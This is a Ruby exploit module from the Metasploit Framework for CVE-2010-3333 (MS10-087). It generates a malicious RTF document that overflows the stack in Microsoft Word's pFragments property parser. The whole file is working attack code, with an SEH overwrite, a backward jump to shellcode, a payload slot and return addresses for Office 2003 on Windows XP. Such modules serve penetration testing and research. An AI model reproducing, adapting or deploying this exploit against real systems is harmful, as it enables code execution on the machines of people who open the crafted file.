##
# $Id: ms10_087_rtf_pfragments_bof.rb 11450 2010-12-29 20:30:50Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Microsoft Word RTF pFragments Stack Buffer Overflow (File Format)',
      'Description'    => %q{
          This module exploits a stack-based buffer overflow in the handling of the
        'pFragments' shape property within the Microsoft Word RTF parser. All versions
        of Microsoft Office prior to the release of the MS10-087 bulletin are vulnerable.

        This module does not attempt to exploit the vulnerability via Microsoft Outlook.

        The Microsoft Word RTF parser was only used by default in versions of Microsoft 
        Word itself prior to Office 2007. With the release of Office 2007, Microsoft
        began using the Word RTF parser, by default, to handle rich-text messages within
        Outlook as well. It was possible to configure Outlook 2003 and earlier to use
        the Microsoft Word engine too, but it was not a default setting.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'wushi of team509',  # original discovery
          'unknown',           # exploit found in the wild
          'jduck'              # Metasploit module
        ],
      'Version'        => '$Revision: 11450 $',
      'References'     =>
        [
          [ 'CVE', '2010-3333' ],
          [ 'OSVDB', '69085' ],
          [ 'MSB', 'MS10-087' ],
          [ 'BID', '44652' ],
          [ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=880' ]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Payload'        =>
        {
          'Space'         => 512,
          'BadChars'      => "\x00",
          'DisableNops'   => true # no need
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          # Office v11.8307.8324, winword.exe v11.0.8307.0
          [ 'Microsoft Office 2003 SP3 English on Windows XP SP3 English',
            {
              'Offsets' => [ 24536, 51112 ],
              'Ret' => 0x300294e7 # p/p/r in winword.exe
            }
          ],

          # In order to exploit this bug on Office 2007, a SafeSEH bypass method is needed.
=begin
          # Office v12.0.6425.1000, winword.exe v12.0.6425.1000
          [ 'Microsoft Office 2007 SP2 English on Windows XP SP3 English',
            {
              'Offsets' => [ 5912 ],
              'Ret' => 0x30001ceb # p/p/r in winword.exe
            }
          ],
=end

          # crash on a deref path to heaven.
          [ 'Crash Target for Debugging',
            {
              'Offsets' => [ 65535 ],
              'Ret' => 0xdac0ffee
            }
          ]
        ],
      'DisclosureDate' => 'Nov 09 2010'))

    register_options(
      [
        OptString.new('FILENAME', [ true, 'The file name.',  'msf.rtf']),
      ], self.class)
  end

  def exploit

    offsets = target['Offsets']

    # Prepare a sample SEH frame
    seh = generate_seh_record(target.ret)

    # Prepare a sample backward jump
    distance = offsets.max
    jmp_back = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string

    # RTF property Array parameters
    el_size = sz_rand()
    el_count = sz_rand()

    data = ''
    # These words are presumably incorrectly used
    # assert(amount1 <= amount2)
    data << [0x1111].pack('v') * 2
    data << [0xc8ac].pack('v')
    data << [0x1111].pack('v') * 22

    # Filler
    if target.name =~ /Debug/i
      rest = Rex::Text.pattern_create(offsets.max + seh.length + jmp_back.length)
    else
      rest = rand_text(offsets.max + seh.length + jmp_back.length)
    end

    # Add the payload
    rest[0, payload.encoded.length] = payload.encoded

    # Fill in the seh frames
    offsets.each { |off|
      rest[off, seh.length] = seh
      distance = off + seh.length
      jmp_back = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string
      rest[off + seh.length, jmp_back.length] = jmp_back
    }

    sploit = "%d;%d;" % [el_size, el_count]
    sploit << data.unpack('H*').first
    sploit << rest.unpack('H*').first

    content  = "{\\rtf1"
    content << "{\\shp"             # shape
    content << "{\\sp"              # shape property
    content << "{\\sn pFragments}"  # property name
    content << "{\\sv #{sploit}}"   # property value
    content << "}"
    content << "}"
    content << "}"

    print_status("Creating '#{datastore['FILENAME']}' file ...")
      file_create(content)

  end

  def sz_rand
    bad_sizes = [ 0, 2, 4, 8 ]
    x = rand(9)
    while bad_sizes.include? x
      x = rand(9)
    end
    x
  end

end